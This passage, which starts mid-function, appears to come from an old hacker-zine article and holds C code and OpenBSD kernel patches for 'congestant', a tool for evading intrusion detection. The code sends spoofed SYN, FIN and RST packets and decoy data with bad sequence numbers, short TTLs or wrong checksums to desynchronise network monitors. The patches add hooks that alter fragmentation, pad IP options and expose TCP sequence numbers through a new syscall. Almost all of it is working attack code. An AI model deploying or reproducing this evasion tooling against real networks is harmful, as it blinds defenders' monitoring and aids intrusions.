0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Sent Desynchronizing SYNs.\n"); } if (cong_config.data_seq) { cong_send_data(from,to,src,dest,(fakeseq),0,0,254); DEBUG("Inserted 8K of data with incorrect sequence numbers.\n"); fakeseq+=8*1024; } if (cong_config.fin_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); DEBUG("Spoofed FINs with incorrect sequence numbers.\n"); } if (cong_config.rst_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); DEBUG("Spoofed RSTs with incorrect sequence numbers.\n"); } #ifdef KERNELSUPPORT #ifdef __OpenBSD__ if (cong_config.ttl==1) if (cong_ttl_cache!=to) { ttl=cong_find_ttl(from,to)-1; cong_ttl_cache=to; cong_ttl=ttl; } else ttl=cong_ttl; if (ttl<0) { fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n"); cong_config.data_ttl=0; cong_config.fin_ttl=0; cong_config.rst_ttl=0; ttl=0; } syscall(242,__fd,&type,&realseq,&recvseq); ttlseq=realseq; #endif /*openbsd */ if (cong_config.data_ttl) { cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl); DEBUG("Inserted 8K of data with short ttl.\n"); ttlseq+=1024*8; } if (cong_config.fin_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); DEBUG("Spoofed FINs with short ttl.\n"); } if (cong_config.rst_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); DEBUG("Spoofed RSTs with short ttl.\n"); } if (cong_config.data_chk) { cong_send_data(from,to,src,dest,(realseq),recvseq,100,254); DEBUG("Inserted 8K of data with incorrect TCP checksums.\n"); realseq+=1024*8; } if (cong_config.fin_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); DEBUG("Spoofed FINs with incorrect TCP checksums.\n"); } if (cong_config.rst_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); DEBUG("Spoofed RSTs with incorrect TCP checksums.\n"); } #endif /* kernel support */ return result; } <--> <++> congestant/netinet.patch Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h --- /usr/src/sys.2.4.orig/netinet/in.h Tue Dec 8 10:32:38 1998 +++ netinet/in.h Tue Dec 8 10:48:33 1998 @@ -325,7 +325,10 @@ #define IPCTL_IPPORT_LASTAUTO 8 #define IPCTL_IPPORT_HIFIRSTAUTO 9 #define IPCTL_IPPORT_HILASTAUTO 10 -#define IPCTL_MAXID 11 +#define IPCTL_FRAG_HACK_HEAD 11 +#define IPCTL_FRAG_HACK_BODY 12 +#define IPCTL_OPTIONS_HACK 13 +#define IPCTL_MAXID 14 #define IPCTL_NAMES { \ { 0, 0 }, \ @@ -339,6 +342,9 @@ { "portlast", CTLTYPE_INT }, \ { "porthifirst", CTLTYPE_INT }, \ { "porthilast", CTLTYPE_INT }, \ + { "fraghackhead", CTLTYPE_INT }, \ + { "fraghackbody", CTLTYPE_INT }, \ + { "optionshack", CTLTYPE_INT }, \ } #ifndef _KERNEL diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c --- /usr/src/sys.2.4.orig/netinet/ip_input.c Tue Dec 8 10:32:41 1998 +++ netinet/ip_input.c Tue Dec 8 10:48:33 1998 @@ -106,6 +106,10 @@ extern int ipport_hilastauto; extern struct baddynamicports baddynamicports; +extern int ip_fraghackhead; +extern int ip_fraghackbody; +extern int ip_optionshack; + extern struct domain inetdomain; extern struct protosw inetsw[]; u_char ip_protox[IPPROTO_MAX]; @@ -1314,6 +1318,15 @@ case IPCTL_IPPORT_HILASTAUTO: return (sysctl_int(oldp, oldlenp, newp, newlen, &ipport_hilastauto)); + case IPCTL_FRAG_HACK_HEAD: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackhead)); + case IPCTL_FRAG_HACK_BODY: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackbody)); + case IPCTL_OPTIONS_HACK: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_optionshack)); default: return (EOPNOTSUPP); } diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c --- /usr/src/sys.2.4.orig/netinet/ip_output.c Tue Dec 8 10:32:43 1998 +++ netinet/ip_output.c Tue Dec 8 11:00:14 1998 @@ -88,6 +88,10 @@ extern int ipsec_esp_network_default_level; #endif +int ip_fraghackhead=0; +int ip_fraghackbody=0; +int ip_optionshack=0; + /* * IP output. The packet in mbuf chain m contains a skeletal IP * header (with len, off, ttl, proto, tos, src, dst). @@ -124,6 +128,9 @@ struct inpcb *inp; #endif + /* HACK */ + int fakeheadmtu; + va_start(ap, m0); opt = va_arg(ap, struct mbuf *); ro = va_arg(ap, struct route *); @@ -144,7 +151,50 @@ m = ip_insertoptions(m, opt, &len); hlen = len; } + /* HACK */ + else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + { + struct mbuf *n=NULL; + register struct ip* ip= mtod(m, struct ip*); + + if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat) + { + MGETHDR(n, M_DONTWAIT, MT_HEADER); + if (n) + { + n->m_pkthdr.len = m->m_pkthdr.len + 40; + m->m_len -= sizeof(struct ip); + m->m_data += sizeof(struct ip); + n->m_next = m; + m = n; + m->m_len = 40 + sizeof(struct ip); + m->m_data += max_linkhdr; + bcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + } + } + else + { + m->m_data -= 40; + m->m_len += 40; + m->m_pkthdr.len += 40; + ovbcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + n++; /* make n!=0 */ + } + if (n!=0) + { + ip = mtod(m, struct ip *); + memset((caddr_t)(ip+1),0,40); + ip->ip_len += 40; + + hlen=60; + len=60; + } + } + ip = mtod(m, struct ip *); + /* * Fill in IP header. */ @@ -721,7 +771,15 @@ /* * If small enough for interface, can just send directly. */ - if ((u_int16_t)ip->ip_len <= ifp->if_mtu) { + + /* HACK */ + + fakeheadmtu=ifp->if_mtu; + + if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + fakeheadmtu=ip_fraghackhead; + + if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) { ip->ip_len = htons((u_int16_t)ip->ip_len); ip->ip_off = htons((u_int16_t)ip->ip_off); ip->ip_sum = 0; @@ -738,7 +796,10 @@ ipstat.ips_cantfrag++; goto bad; } - len = (ifp->if_mtu - hlen) &~ 7; + +/* HACK */ + + len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7; if (len < 8) { error = EMSGSIZE; goto bad; @@ -748,6 +809,9 @@ int mhlen, firstlen = len; struct mbuf **mnext = &m->m_nextpkt; + /*HACK*/ + int first=0; + /* * Loop through length of segment after first fragment, * make new header and copy data of each part and link onto chain. @@ -755,7 +819,9 @@ m0 = m; mhlen = sizeof (struct ip); for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) { - MGETHDR(m, M_DONTWAIT, MT_HEADER); + if (first && ip_fraghackbody) + len=(ip_fraghackbody-hlen) &~7; + MGETHDR(m, M_DONTWAIT, MT_HEADER); if (m == 0) { error = ENOBUFS; ipstat.ips_odropped++; @@ -791,6 +857,7 @@ mhip->ip_sum = 0; mhip->ip_sum = in_cksum(m, mhlen); ipstat.ips_ofragments++; + first=1; } /* * Update first fragment by trimming what's been copied out Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c --- /usr/src/sys.2.4.orig/netinet/tcp_subr.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_subr.c Tue Dec 8 10:48:33 1998 @@ -465,3 +465,18 @@ if (tp) tp->snd_cwnd = tp->t_maxseg; } + +/* HACK - This is a tcp subroutine added to grab the sequence numbers */ + +void tcp_getseq(struct socket *so, struct mbuf *m) +{ + struct inpcb *inp; + struct tcpcb *tp; + + if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp))) + { + m->m_len=sizeof(unsigned long)*2; + *(mtod(m,unsigned long *))=tp->snd_nxt; + *((mtod(m,unsigned long *))+1)=tp->rcv_nxt; + } +} diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c --- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_usrreq.c Tue Dec 8 10:48:33 1998 @@ -363,6 +363,10 @@ in_setsockaddr(inp, nam); break; + case PRU_SOCKINFO: + tcp_getseq(so,m); + break; + case PRU_PEERADDR: in_setpeeraddr(inp, nam); break; diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h --- /usr/src/sys.2.4.orig/netinet/tcp_var.h Tue Dec 8 10:32:45 1998 +++ netinet/tcp_var.h Tue Dec 8 10:48:34 1998 @@ -291,6 +291,8 @@ void tcp_pulloutofband __P((struct socket *, struct tcpiphdr *, struct mbuf *)); void tcp_quench __P((struct inpcb *, int)); +/*HACK*/ +void tcp_getseq __P((struct socket *, struct mbuf *)); int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *)); void tcp_respond __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int)); <--> <++> congestant/kern.patch --- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c Thu Dec 3 11:00:01 1998 +++ kern/uipc_syscalls.c Thu Dec 3 11:13:44 1998 @@ -924,6 +924,53 @@ } /* + * Get socket information. HACK + */ + +/* ARGSUSED */ +int +sys_getsockinfo(p, v, retval) + struct proc *p; + void *v; + register_t *retval; +{ + register struct sys_getsockinfo_args /* { + syscallarg(int) fdes; + syscallarg(int *) type; + syscallarg(int *) seq; + syscallarg(int *) ack; + } */ *uap = v; + struct file *fp; + register struct socket *so; + struct mbuf *m; + int error; + + if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0) + return (error); + + so = (struct socket *)fp->f_data; + + error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short)); + + if (!error && (so->so_type==SOCK_STREAM)) + { + m = m_getclr(M_WAIT, MT_DATA); + if (m == NULL) + return (ENOBUFS); + + error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0); + + if (!error) + error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long)); + if (!error) + error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long)); + m_freem(m); + } + + return error; +} + +/* * Get name of peer for connected socket. */ /* ARGSUSED */ --- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec 3 11:00:00 1998 +++ kern/syscalls.master Thu Dec 3 11:14:44 1998 @@ -476,7 +476,8 @@ 240 STD { int sys_nanosleep(const struct timespec *rqtp, \ struct timespec *rmtp); } 241 UNIMPL -242 UNIMPL +242 STD { int sys_getsockinfo(int fdes, int *type, \ + int *seq, int *ack); } 243 UNIMPL 244 UNIMPL 245 UNIMPL <--> <++> congestant/sys.patch --- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec 3 11:00:39 1998 +++ sys/protosw.h Thu Dec 3 11:16:41 1998 @@ -148,8 +148,8 @@ #define PRU_SLOWTIMO 19 /* 500ms timeout */ #define PRU_PROTORCV 20 /* receive from below */ #define PRU_PROTOSEND 21 /* send to below */ - -#define PRU_NREQ 21 +#define PRU_SOCKINFO 22 +#define PRU_NREQ 22 #ifdef PRUREQUESTS char *prurequests[] = { @@ -158,7 +158,7 @@ "RCVD", "SEND", "ABORT", "CONTROL", "SENSE", "RCVOOB", "SENDOOB", "SOCKADDR", "PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO", - "PROTORCV", "PROTOSEND", + "PROTORCV", "PROTOSEND", "SOCKINFO", }; #endif <--> ----[ EOF